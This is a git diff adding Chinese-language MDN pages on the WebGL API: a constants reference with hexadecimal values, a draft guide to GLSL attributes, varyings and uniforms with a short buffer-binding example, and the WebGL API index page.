COMPRESSED_RGB8_PUNCHTHROUGH_ALPHA1_ETC20x9276
COMPRESSED_SRGB8_PUNCHTHROUGH_ALPHA1_ETC0x9277
COMPRESSED_RGBA8_ETC2_EAC0x9278
COMPRESSED_SRGB8_ALPHA8_ETC2_EAC0x9279
TEXTURE_IMMUTABLE_FORMAT 0x912F
TEXTURE_IMMUTABLE_LEVELS0x82DF
+ +

Pixel types

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
UNSIGNED_INT_2_10_10_10_REV0x8368
UNSIGNED_INT_10F_11F_11F_REV0x8C3B
UNSIGNED_INT_5_9_9_9_REV0x8C3E
FLOAT_32_UNSIGNED_INT_24_8_REV0x8DAD
UNSIGNED_INT_24_80x84FA
HALF_FLOAT0x140B
RG0x8227
RG_INTEGER0x8228
INT_2_10_10_10_REV0x8D9F
+ +

Queries

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
CURRENT_QUERY0x8865
QUERY_RESULT 0x8866
QUERY_RESULT_AVAILABLE0x8867
ANY_SAMPLES_PASSED0x8C2F
ANY_SAMPLES_PASSED_CONSERVATIVE0x8D6A
+ +

Draw buffers

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
MAX_DRAW_BUFFERS0x8824
DRAW_BUFFER00x8825
DRAW_BUFFER10x8826
DRAW_BUFFER20x8827
DRAW_BUFFER30x8828
DRAW_BUFFER40x8829
DRAW_BUFFER50x882A
DRAW_BUFFER60x882B
DRAW_BUFFER70x882C
DRAW_BUFFER80x882D
DRAW_BUFFER90x882E
DRAW_BUFFER100x882F
DRAW_BUFFER110x8830
DRAW_BUFFER120x8831
DRAW_BUFFER130x8832
DRAW_BUFFER140x8833
DRAW_BUFFER150x8834
MAX_COLOR_ATTACHMENTS0x8CDF
COLOR_ATTACHMENT10x8CE1
COLOR_ATTACHMENT20x8CE2
COLOR_ATTACHMENT30x8CE3
COLOR_ATTACHMENT40x8CE4
COLOR_ATTACHMENT50x8CE5
COLOR_ATTACHMENT60x8CE6
COLOR_ATTACHMENT70x8CE7
COLOR_ATTACHMENT80x8CE8
COLOR_ATTACHMENT90x8CE9
COLOR_ATTACHMENT100x8CEA
COLOR_ATTACHMENT110x8CEB
COLOR_ATTACHMENT120x8CEC
COLOR_ATTACHMENT130x8CED
COLOR_ATTACHMENT140x8CEE
COLOR_ATTACHMENT150x8CEF
+ +

Samplers

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
SAMPLER_3D0x8B5F
SAMPLER_2D_SHADOW0x8B62
SAMPLER_2D_ARRAY0x8DC1
SAMPLER_2D_ARRAY_SHADOW0x8DC4
SAMPLER_CUBE_SHADOW0x8DC5
INT_SAMPLER_2D0x8DCA
INT_SAMPLER_3D0x8DCB
INT_SAMPLER_CUBE0x8DCC
INT_SAMPLER_2D_ARRAY0x8DCF
UNSIGNED_INT_SAMPLER_2D0x8DD2
UNSIGNED_INT_SAMPLER_3D0x8DD3
UNSIGNED_INT_SAMPLER_CUBE0x8DD4
UNSIGNED_INT_SAMPLER_2D_ARRAY0x8DD7
MAX_SAMPLES0x8D57
SAMPLER_BINDING0x8919
+ +

Buffers

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
PIXEL_PACK_BUFFER0x88EB
PIXEL_UNPACK_BUFFER0x88EC
PIXEL_PACK_BUFFER_BINDING0x88ED
PIXEL_UNPACK_BUFFER_BINDING 0x88EF
COPY_READ_BUFFER0x8F36
COPY_WRITE_BUFFER0x8F37
COPY_READ_BUFFER_BINDING0x8F36
COPY_WRITE_BUFFER_BINDING0x8F37
+ +

Data types

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
FLOAT_MAT2x30x8B65
FLOAT_MAT2x40x8B66
FLOAT_MAT3x20x8B67
FLOAT_MAT3x4 0x8B68
FLOAT_MAT4x20x8B69
FLOAT_MAT4x30x8B6A
UNSIGNED_INT_VEC20x8DC6
UNSIGNED_INT_VEC30x8DC7
UNSIGNED_INT_VEC40x8DC8
UNSIGNED_NORMALIZED0x8C17
SIGNED_NORMALIZED0x8F9C
+ +

Vertex attributes

+ + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
VERTEX_ATTRIB_ARRAY_INTEGER 0x88FD
VERTEX_ATTRIB_ARRAY_DIVISOR0x88FE
+ +

Transform feedback

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
TRANSFORM_FEEDBACK_BUFFER_MODE0x8C7F
MAX_TRANSFORM_FEEDBACK_SEPARATE_COMPONENTS0x8C80
TRANSFORM_FEEDBACK_VARYINGS0x8C83
TRANSFORM_FEEDBACK_BUFFER_START0x8C84
TRANSFORM_FEEDBACK_BUFFER_SIZE0x8C85
TRANSFORM_FEEDBACK_PRIMITIVES_WRITTEN0x8C88
MAX_TRANSFORM_FEEDBACK_INTERLEAVED_COMPONENTS0x8C8A
MAX_TRANSFORM_FEEDBACK_SEPARATE_ATTRIBS0x8C8B
INTERLEAVED_ATTRIBS0x8C8C
SEPARATE_ATTRIBS0x8C8D
TRANSFORM_FEEDBACK_BUFFER0x8C8E
TRANSFORM_FEEDBACK_BUFFER_BINDING0x8C8F
TRANSFORM_FEEDBACK0x8E22
TRANSFORM_FEEDBACK_PAUSED0x8E23
TRANSFORM_FEEDBACK_ACTIVE0x8E24
TRANSFORM_FEEDBACK_BINDING0x8E25
+ +

Framebuffers and renderbuffers

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
FRAMEBUFFER_ATTACHMENT_COLOR_ENCODING0x8210
FRAMEBUFFER_ATTACHMENT_COMPONENT_TYPE0x8211
FRAMEBUFFER_ATTACHMENT_RED_SIZE0x8212
FRAMEBUFFER_ATTACHMENT_GREEN_SIZE0x8213
FRAMEBUFFER_ATTACHMENT_BLUE_SIZE0x8214
FRAMEBUFFER_ATTACHMENT_ALPHA_SIZE0x8215
FRAMEBUFFER_ATTACHMENT_DEPTH_SIZE0x8216
FRAMEBUFFER_ATTACHMENT_STENCIL_SIZE0x8217
FRAMEBUFFER_DEFAULT0x8218
DEPTH_STENCIL_ATTACHMENT0x821A
DEPTH_STENCIL0x84F9
DEPTH24_STENCIL80x88F0
DRAW_FRAMEBUFFER_BINDING0x8CA6
READ_FRAMEBUFFER0x8CA8
DRAW_FRAMEBUFFER0x8CA9
READ_FRAMEBUFFER_BINDING0x8CAA
RENDERBUFFER_SAMPLES0x8CAB
FRAMEBUFFER_ATTACHMENT_TEXTURE_LAYER0x8CD4
FRAMEBUFFER_INCOMPLETE_MULTISAMPLE0x8D56
+ +

Uniforms

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
UNIFORM_BUFFER0x8A11
UNIFORM_BUFFER_BINDING0x8A28
UNIFORM_BUFFER_START0x8A29
UNIFORM_BUFFER_SIZE0x8A2A
MAX_VERTEX_UNIFORM_BLOCKS0x8A2B
MAX_FRAGMENT_UNIFORM_BLOCKS0x8A2D
MAX_COMBINED_UNIFORM_BLOCKS0x8A2E
MAX_UNIFORM_BUFFER_BINDINGS0x8A2F
MAX_UNIFORM_BLOCK_SIZE0x8A30
MAX_COMBINED_VERTEX_UNIFORM_COMPONENTS0x8A31
MAX_COMBINED_FRAGMENT_UNIFORM_COMPONENTS0x8A33
UNIFORM_BUFFER_OFFSET_ALIGNMENT0x8A34
ACTIVE_UNIFORM_BLOCKS0x8A36
UNIFORM_TYPE 0x8A37
UNIFORM_SIZE0x8A38
UNIFORM_BLOCK_INDEX0x8A3A
UNIFORM_OFFSET0x8A3B
UNIFORM_ARRAY_STRIDE0x8A3C
UNIFORM_MATRIX_STRIDE0x8A3D
UNIFORM_IS_ROW_MAJOR0x8A3E
UNIFORM_BLOCK_BINDING0x8A3F
UNIFORM_BLOCK_DATA_SIZE0x8A40
UNIFORM_BLOCK_ACTIVE_UNIFORMS0x8A42
UNIFORM_BLOCK_ACTIVE_UNIFORM_INDICES0x8A43
UNIFORM_BLOCK_REFERENCED_BY_VERTEX_SHADER0x8A44
UNIFORM_BLOCK_REFERENCED_BY_FRAGMENT_SHADER0x8A46
+ +

Sync objects

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
OBJECT_TYPE0x9112
SYNC_CONDITION0x9113
SYNC_STATUS0x9114
SYNC_FLAGS0x9115
SYNC_FENCE0x9116
SYNC_GPU_COMMANDS_COMPLETE0x9117
UNSIGNALED0x9118
SIGNALED0x9119
ALREADY_SIGNALED0x911A
TIMEOUT_EXPIRED0x911B
CONDITION_SATISFIED0x911C
WAIT_FAILED0x911D
SYNC_FLUSH_COMMANDS_BIT0x00000001
+ +

Miscellaneous constants

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
COLOR0x1800
DEPTH0x1801
STENCIL0x1802
MIN0x8007
MAX0x8008
DEPTH_COMPONENT240x81A6
STREAM_READ0x88E1
STREAM_COPY0x88E2
STATIC_READ0x88E5
STATIC_COPY0x88E6
DYNAMIC_READ0x88E9
DYNAMIC_COPY0x88EA
DEPTH_COMPONENT32F0x8CAC
DEPTH32F_STENCIL80x8CAD
INVALID_INDEX0xFFFFFFFF
TIMEOUT_IGNORED-1
MAX_CLIENT_WAIT_TIMEOUT_WEBGL0x9247
+ +

Constants defined in WebGL extensions

+ +

{{domxref("ANGLE_instanced_arrays")}}

+ + + + + + + + + + + + + + + + +
Constant nameValueDescription
VERTEX_ATTRIB_ARRAY_DIVISOR_ANGLE0x88FEDescribes the frequency divisor used for instanced rendering.
+ +

{{domxref("WEBGL_debug_renderer_info")}}

+ + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
UNMASKED_VENDOR_WEBGL0x9245Passed to getParameter to get the vendor string of the graphics driver.
UNMASKED_RENDERER_WEBGL0x9246Passed to getParameter to get the renderer string of the graphics driver.
+ +

{{domxref("EXT_texture_filter_anisotropic")}}

+ + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
MAX_TEXTURE_MAX_ANISOTROPY_EXT0x84FFReturns the maximum available anisotropy.
TEXTURE_MAX_ANISOTROPY_EXT0x84FEPassed to texParameter to set the desired maximum anisotropy for a texture.
+ +

{{domxref("WEBGL_compressed_texture_s3tc")}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
COMPRESSED_RGB_S3TC_DXT1_EXT0x83F0A DXT1-compressed image in an RGB image format.
COMPRESSED_RGBA_S3TC_DXT1_EXT0x83F1A DXT1-compressed image in an RGB image format with a simple on/off alpha value.
COMPRESSED_RGBA_S3TC_DXT3_EXT0x83F2A DXT3-compressed image in an RGBA image format. Compared to a 32-bit RGBA texture, it offers 4:1 compression.
COMPRESSED_RGBA_S3TC_DXT5_EXT0x83F3A DXT5-compressed image in an RGBA image format. It also provides a 4:1 compression, but differs to the DXT3 compression in how the alpha compression is done.
+ +

{{domxref("WEBGL_compressed_texture_es3")}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
COMPRESSED_R11_EAC0x9270One-channel (red) unsigned format compression.
COMPRESSED_SIGNED_R11_EAC0x9271One-channel (red) signed format compression.
COMPRESSED_RG11_EAC0x9272Two-channel (red and green) unsigned format compression.
COMPRESSED_SIGNED_RG11_EAC0x9273Two-channel (red and green) signed format compression.
COMPRESSED_RGB8_ETC20x9274Compresses RBG8 data with no alpha channel.
COMPRESSED_RGBA8_ETC2_EAC0x9275Compresses RGBA8 data. The RGB part is encoded the same as RGB_ETC2, but the alpha part is encoded separately.
COMPRESSED_SRGB8_ETC20x9276Compresses sRBG8 data with no alpha channel.
COMPRESSED_SRGB8_ALPHA8_ETC2_EAC0x9277Compresses sRGBA8 data. The sRGB part is encoded the same as SRGB_ETC2, but the alpha part is encoded separately.
COMPRESSED_RGB8_PUNCHTHROUGH_ALPHA1_ETC20x9278Similar to RGB8_ETC, but with ability to punch through the alpha channel, which means to make it completely opaque or transparent.
COMPRESSED_SRGB8_PUNCHTHROUGH_ALPHA1_ETC20x9279Similar to SRGB8_ETC, but with ability to punch through the alpha channel, which means to make it completely opaque or transparent.
+ +

{{domxref("WEBGL_compressed_texture_pvrtc")}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
COMPRESSED_RGB_PVRTC_4BPPV1_IMG0x8C00RGB compression in 4-bit mode. One block for each 4×4 pixels.
COMPRESSED_RGBA_PVRTC_4BPPV1_IMG0x8C02RGBA compression in 4-bit mode. One block for each 4×4 pixels.
COMPRESSED_RGB_PVRTC_2BPPV1_IMG0x8C01RGB compression in 2-bit mode. One block for each 8×4 pixels.
COMPRESSED_RGBA_PVRTC_2BPPV1_IMG0x8C03RGBA compression in 2-bit mode. One block for each 8×4 pixe
+ +

{{domxref("WEBGL_compressed_texture_etc1")}}

+ + + + + + + + + + + + + + + + +
Constant nameValueDescription
COMPRESSED_RGB_ETC1_WEBGL0x8D64Compresses 24-bit RGB data with no alpha channel.
+ +

{{domxref("WEBGL_compressed_texture_atc")}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
COMPRESSED_RGB_ATC_WEBGL0x8C92Compresses RGB textures with no alpha channel.
COMPRESSED_RGBA_ATC_EXPLICIT_ALPHA_WEBGL0x8C92Compresses RGBA textures using explicit alpha encoding (useful when alpha transitions are sharp).
COMPRESSED_RGBA_ATC_INTERPOLATED_ALPHA_WEBGL0x87EECompresses RGBA textures using interpolated alpha encoding (useful when alpha transitions are gradient).
+ +

{{domxref("WEBGL_depth_texture")}}

+ + + + + + + + + + + + + + + + +
Constant nameValueDescription
UNSIGNED_INT_24_8_WEBGL0x84FAUnsigned integer type for 24-bit depth texture data.
+ +

{{domxref("OES_texture_half_float")}}

+ + + + + + + + + + + + + + + + +
Constant nameValueDescription
HALF_FLOAT_OES0x8D61Half floating-point type (16-bit).
+ +

{{domxref("WEBGL_color_buffer_float")}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
RGBA32F_EXT0x8814RGBA 32-bit floating-point color-renderable format.
RGB32F_EXT0x8815RGB 32-bit floating-point color-renderable format.
FRAMEBUFFER_ATTACHMENT_COMPONENT_TYPE_EXT0x8211
UNSIGNED_NORMALIZED_EXT0x8C17
+ +

{{domxref("EXT_blend_minmax")}}

+ + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
MIN_EXT0x8007Produces the minimum color components of the source and destination colors.
MAX_EXT0x8008Produces the maximum color components of the source and destination colors.
+ +

{{domxref("EXT_sRGB")}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
SRGB_EXT0x8C40Unsized sRGB format that leaves the precision up to the driver.
SRGB_ALPHA_EXT0x8C42Unsized sRGB format with unsized alpha component.
SRGB8_ALPHA8_EXT0x8C43Sized (8-bit) sRGB and alpha formats.
FRAMEBUFFER_ATTACHMENT_COLOR_ENCODING_EXT0x8210Returns the framebuffer color encoding.
+ +

{{domxref("OES_standard_derivatives")}}

+ + + + + + + + + + + + + + + + +
Constant nameValueDescription
FRAGMENT_SHADER_DERIVATIVE_HINT_OES0x8B8BIndicates the accuracy of the derivative calculation for the GLSL built-in functions: dFdx, dFdy, and fwidth.
+ +

{{domxref("WEBGL_draw_buffers")}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
COLOR_ATTACHMENT0_WEBGL0x8CE0Framebuffer color attachment point
COLOR_ATTACHMENT1_WEBGL0x8CE1Framebuffer color attachment point
COLOR_ATTACHMENT2_WEBGL0x8CE2Framebuffer color attachment point
COLOR_ATTACHMENT3_WEBGL0x8CE3Framebuffer color attachment point
COLOR_ATTACHMENT4_WEBGL0x8CE4Framebuffer color attachment point
COLOR_ATTACHMENT5_WEBGL0x8CE5Framebuffer color attachment point
COLOR_ATTACHMENT6_WEBGL0x8CE6Framebuffer color attachment point
COLOR_ATTACHMENT7_WEBGL0x8CE7Framebuffer color attachment point
COLOR_ATTACHMENT8_WEBGL0x8CE8Framebuffer color attachment point
COLOR_ATTACHMENT9_WEBGL0x8CE9Framebuffer color attachment point
COLOR_ATTACHMENT10_WEBGL0x8CEAFramebuffer color attachment point
COLOR_ATTACHMENT11_WEBGL0x8CEBFramebuffer color attachment point
COLOR_ATTACHMENT12_WEBGL0x8CECFramebuffer color attachment point
COLOR_ATTACHMENT13_WEBGL0x8CEDFramebuffer color attachment point
COLOR_ATTACHMENT14_WEBGL0x8CEEFramebuffer color attachment point
COLOR_ATTACHMENT15_WEBGL0x8CEFFramebuffer color attachment point
DRAW_BUFFER0_WEBGL0x8825Draw buffer
DRAW_BUFFER1_WEBGL0x8826Draw buffer
DRAW_BUFFER2_WEBGL0x8827Draw buffer
DRAW_BUFFER3_WEBGL0x8828Draw buffer
DRAW_BUFFER4_WEBGL0x8829Draw buffer
DRAW_BUFFER5_WEBGL0x882ADraw buffer
DRAW_BUFFER6_WEBGL0x882BDraw buffer
DRAW_BUFFER7_WEBGL0x882CDraw buffer
DRAW_BUFFER8_WEBGL0x882DDraw buffer
DRAW_BUFFER9_WEBGL0x882EDraw buffer
DRAW_BUFFER10_WEBGL0x882FDraw buffer
DRAW_BUFFER11_WEBGL0x8830Draw buffer
DRAW_BUFFER12_WEBGL0x8831Draw buffer
DRAW_BUFFER13_WEBGL0x8832Draw buffer
DRAW_BUFFER14_WEBGL0x8833Draw buffer
DRAW_BUFFER15_WEBGL0x8834Draw buffer
MAX_COLOR_ATTACHMENTS_WEBGL0x8CDFMaximum number of framebuffer color attachment points
MAX_DRAW_BUFFERS_WEBGL0x8824Maximum number of draw buffers
+ +

{{domxref("OES_vertex_array_object")}}

+ + + + + + + + + + + + + + + + +
Constant nameValueDescription
VERTEX_ARRAY_BINDING_OES0x85B5The bound vertex array object (VAO).
+ +

{{domxref("EXT_disjoint_timer_query")}}

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Constant nameValueDescription
QUERY_COUNTER_BITS_EXT0x8864The number of bits used to hold the query result for the given target.
CURRENT_QUERY_EXT0x8865The currently active query.
QUERY_RESULT_EXT0x8866The query result.
QUERY_RESULT_AVAILABLE_EXT0x8867A Boolean indicating whether or not a query result is available.
TIME_ELAPSED_EXT0x88BFElapsed time (in nanoseconds).
TIMESTAMP_EXT0x8E28The current time.
GPU_DISJOINT_EXT0x8FBBA Boolean indicating whether or not the GPU performed any disjoint operation.
+ +

Specifications

+ + + + + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('WebGL', "#5.14", "WebGLRenderingContext")}}{{Spec2('WebGL')}}Initial definition
{{SpecName('WebGL2', "#3.7", "WebGL2RenderingContext")}}{{Spec2('WebGL2')}}Defines additional constants.
+ +

浏览器兼容性

+ +
{{CompatibilityTable}}
+ +
+ + + + + + + + + + + + + + + + + + + +
FeatureChromeFirefox (Gecko)Internet ExplorerOperaSafari
Basic support{{CompatChrome("9")}}{{CompatGeckoDesktop("2.0")}}{{CompatIE("11")}}{{CompatOpera("12")}}{{CompatSafari("5.1")}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + +
FeatureAndroidChrome for AndroidFirefox Mobile (Gecko)IE MobileOpera MobileSafari Mobile
Basic support{{CompatUnknown}}25{{CompatVersionUnknown}}{{CompatUnknown}}128.1
+
+ +

See also

+ + diff --git a/files/zh-cn/web/api/webgl_api/data/index.html b/files/zh-cn/web/api/webgl_api/data/index.html new file mode 100644 index 0000000000..ded07d6e36 --- /dev/null +++ b/files/zh-cn/web/api/webgl_api/data/index.html @@ -0,0 +1,89 @@ +--- +title: Data in WebGL +slug: Web/API/WebGL_API/Data +tags: + - 3D + - 3D 图像 + - WebGL + - WebGL API + - 中间件 + - 变体 + - 图形 + - 属性 + - 指南 + - 绘图 + - 统一的 + - 需要内容 + - 需要示例 +translation_of: Web/API/WebGL_API/Data +--- +
{{WebGLSidebar}}{{draft}}
+ +

GLSL 为 Shader 提供了三种不同作用的数据存储,每种都有一个特定的用例。每种数据依作用不同可以被一种或者全部shader访问(取决于数据存储类型),也可能通过站点的Javascript代码进行访问,这取决于变量的特定类型。

+ +

GLSL 数据类型

+ +

<<关于 基本数据类型, 向量等,参见Khronos WebGL Wiki的文档:Data Type (GLSL) >>

+ +

GLSL 变量

+ +

GLSL中有三种类型的“变量”或者说数据存储类型。每一种类型都有特定的目标和使用方法:: {{anch("Attributes", "attributes")}}{{anch("Varyings", "varyings")}}{{anch("Uniforms", "uniforms")}}.

+ +

Attributes

+ +

Attributes 可以被JavaScript代码操作,也可以在 vertex shader 中被作为变量访问。Attributes 通常被用于存储颜色、纹理坐标以及其他需要在JavaScript代码和 vertex shader 之间互相传递的数据。

+ +
//init colors
+    var vertexColors = [
+        vec4( 0.0, 0.0, 0.0, 1.0 ),  // black
+        vec4( 1.0, 0.0, 0.0, 1.0 ),  // red
+        vec4( 1.0, 1.0, 0.0, 1.0 ),  // yellow
+        vec4( 0.0, 1.0, 0.0, 1.0 ),  // green
+        vec4( 0.0, 0.0, 0.0, 1.0 ),  // black
+        vec4( 1.0, 0.0, 0.0, 1.0 ),  // red
+        vec4( 1.0, 1.0, 0.0, 1.0 ),  // yellow
+        vec4( 0.0, 1.0, 0.0, 1.0 ),  // green
+    ];
+    var cBuffer = gl.createBuffer();
+
+ +
//continued
+//create buffer to store colors and reference it to "vColor" which is in GLSL
+    gl.bindBuffer( gl.ARRAY_BUFFER, cBuffer );
+    gl.bufferData( gl.ARRAY_BUFFER, flatten(vertexColors), gl.STATIC_DRAW );
+
+    var vColor = gl.getAttribLocation( program, "vColor" );
+    gl.vertexAttribPointer( vColor, 4, gl.FLOAT, false, 0, 0 );
+    gl.enableVertexAttribArray( vColor );
+
+ +
//glsl
+attribute  vec4 vColor;
+
+void main()
+{
+
+fColor = vColor;
+}
+
+
+ +

Varyings

+ +

Varyings 在 vertex shader 中定义,用于从 vertex shader 向 fragment shader 传递数据。通常传递 {{interwiki("wikipedia", "Normal_(geometry)", "normal vector")}} 等在 vertex shader 中计算生成的数据会使用varying。

+ +

<<how to use>>

+ +

Uniforms

+ +

Uniform 通常是由 JavaScript 代码设置并且在 vertex shader 和 fragment shader 中都能够访问。 使用uniform设定在一帧的所有绘制中相同的数据,例如光源颜色、亮度、全局变换以及透视数据等等。

+ +

<<添加细节>>

+ +

Buffers

+ +

<<添加信息>>

+ +

Textures

+ +

<<添加信息>>

diff --git a/files/zh-cn/web/api/webgl_api/index.html b/files/zh-cn/web/api/webgl_api/index.html new file mode 100644 index 0000000000..ed1f1dede2 --- /dev/null +++ b/files/zh-cn/web/api/webgl_api/index.html @@ -0,0 +1,267 @@ +--- +title: WebGL +slug: Web/API/WebGL_API +tags: + - 3D图形 + - WebGL + - WebGL API + - 图像 + - 媒体 + - 高级 +translation_of: Web/API/WebGL_API +--- +
+
{{WebGLSidebar}}
+ +
+

WebGL(Web图形库)是一个JavaScript API,可在任何兼容的Web浏览器中渲染高性能的交互式3D和2D图形,而无需使用插件。WebGL通过引入一个与OpenGL ES 2.0非常一致的API来做到这一点,该API可以在HTML5 {{HTMLElement("canvas")}}元素中使用。 这种一致性使API可以利用用户设备提供的硬件图形加速。

+
+ +

目前支持 WebGL 的浏览器有:Firefox 4+, Google Chrome 9+, Opera 12+, Safari 5.1+, Internet Explorer 11+和Microsoft Edge build 10240+;然而, WebGL一些特性也需要用户的硬件设备支持。

+ +

{{anch("WebGL 2")}} API引入了对大部分的OpenGL ES 3.0功能集的支持; 它是通过{{domxref("WebGL2RenderingContext")}}界面提供的

+ +

 {{HTMLElement("canvas")}} 元素也被 Canvas API 用于在网页上进行2D图形处理。

+ +

参考

+ +

标准接口

+ +
+
    +
  • {{domxref("WebGLRenderingContext")}}
  • +
  • {{domxref("WebGL2RenderingContext")}}
  • +
  • {{domxref("WebGLActiveInfo")}}
  • +
  • {{domxref("WebGLBuffer")}}
  • +
  • {{domxref("WebGLContextEvent")}}
  • +
  • {{domxref("WebGLFramebuffer")}}
  • +
  • {{domxref("WebGLProgram")}}
  • +
  • {{domxref("WebGLQuery")}}
  • +
  • {{domxref("WebGLRenderbuffer")}}
  • +
  • {{domxref("WebGLSampler")}}
  • +
  • {{domxref("WebGLShader")}}
  • +
  • {{domxref("WebGLShaderPrecisionFormat")}}
  • +
  • {{domxref("WebGLSync")}}
  • +
  • {{domxref("WebGLTexture")}}
  • +
  • {{domxref("WebGLTransformFeedback")}}
  • +
  • {{domxref("WebGLUniformLocation")}}
  • +
  • {{domxref("WebGLVertexArrayObject")}}
  • +
+
+ +

扩展

+ +
+
    +
  • {{domxref("ANGLE_instanced_arrays")}}
  • +
  • {{domxref("EXT_blend_minmax")}}
  • +
  • {{domxref("EXT_color_buffer_float")}}
  • +
  • {{domxref("EXT_color_buffer_half_float")}}
  • +
  • {{domxref("EXT_disjoint_timer_query")}}
  • +
  • {{domxref("EXT_float_blend")}} {{experimental_inline}}
  • +
  • {{domxref("EXT_frag_depth")}}
  • +
  • {{domxref("EXT_sRGB")}}
  • +
  • {{domxref("EXT_shader_texture_lod")}}
  • +
  • {{domxref("EXT_texture_compression_bptc")}}
  • +
  • {{domxref("EXT_texture_compression_rgtc")}}
  • +
  • {{domxref("EXT_texture_filter_anisotropic")}}
  • +
  • {{domxref("OES_element_index_uint")}}
  • +
  • {{domxref("OES_fbo_render_mipmap")}}
  • +
  • {{domxref("OES_standard_derivatives")}}
  • +
  • {{domxref("OES_texture_float")}}
  • +
  • {{domxref("OES_texture_float_linear")}}
  • +
  • {{domxref("OES_texture_half_float")}}
  • +
  • {{domxref("OES_texture_half_float_linear")}}
  • +
  • {{domxref("OES_vertex_array_object")}}
  • +
  • {{domxref("OVR_multiview2")}}
  • +
  • {{domxref("WEBGL_color_buffer_float")}}
  • +
  • {{domxref("WEBGL_compressed_texture_astc")}}
  • +
  • {{domxref("WEBGL_compressed_texture_atc")}}
  • +
  • {{domxref("WEBGL_compressed_texture_etc")}}
  • +
  • {{domxref("WEBGL_compressed_texture_etc1")}}
  • +
  • {{domxref("WEBGL_compressed_texture_pvrtc")}}
  • +
  • {{domxref("WEBGL_compressed_texture_s3tc")}}
  • +
  • {{domxref("WEBGL_compressed_texture_s3tc_srgb")}}
  • +
  • {{domxref("WEBGL_debug_renderer_info")}}
  • +
  • {{domxref("WEBGL_debug_shaders")}}
  • +
  • {{domxref("WEBGL_depth_texture")}}
  • +
  • {{domxref("WEBGL_draw_buffers")}}
  • +
  • {{domxref("WEBGL_lose_context")}}
  • +
+
+ +

事件

+ + + +

常量和类型

+ + + +

WebGL 2

+ +

WebGL 2 是WebGL的一个主要更新,它通过{{domxref("WebGL2RenderingContext")}} 接口提供。它基于OpenGL ES 3.0,新功能包括:

+ + + +

另请参见博客文章 "WebGL 2 lands in Firefox" 和 webglsamples.org/WebGL2Samples 几个演示。

+ +

指南和教程

+ +

下面,您将找到各种指南,以帮助您学习WebGL概念和教程,提供分步课程和示例。

+ +

指南 

+ +
+
WebGL 中的数据
+
编写WebGL代码时使用的变量,缓冲区和其他类型数据的指南。
+
WebGL 最佳实践
+
提示和建议,以帮助您提高WebGL内容的质量,性能和可靠性。
+
使用扩展
+
WebGL 扩展的使用指南。
+
+ +

教程

+ +
+
WebGL 教程
+
WebGL 核心概念的初学者指南。如果您以前没有 WebGL 的经验,那么这是一个很好的起点。
+
+ +

示例

+ +
+
一个基础的 WebGL 的 2D 动画示例
+
此示例演示了单色形状的简单动画。检查的主题是适应宽高比差异,从多个着色器集合构建着色器程序的功能,以及 WebGL 绘图的基础知识。
+
WebGL示例
+
一系列带有简短说明的实时示例展示了WebGL的概念和功能。根据主题和难易程度对示例进行了排序,涵盖了WebGL渲染上下文,着色器编程,纹理,几何图形,用户交互等。
+
+ +

高级教程

+ +
+
WebGL 模型视图投影
+
详述了常用于显示3D物体视图的三种核心矩阵:模型,视图和投影矩阵。
+
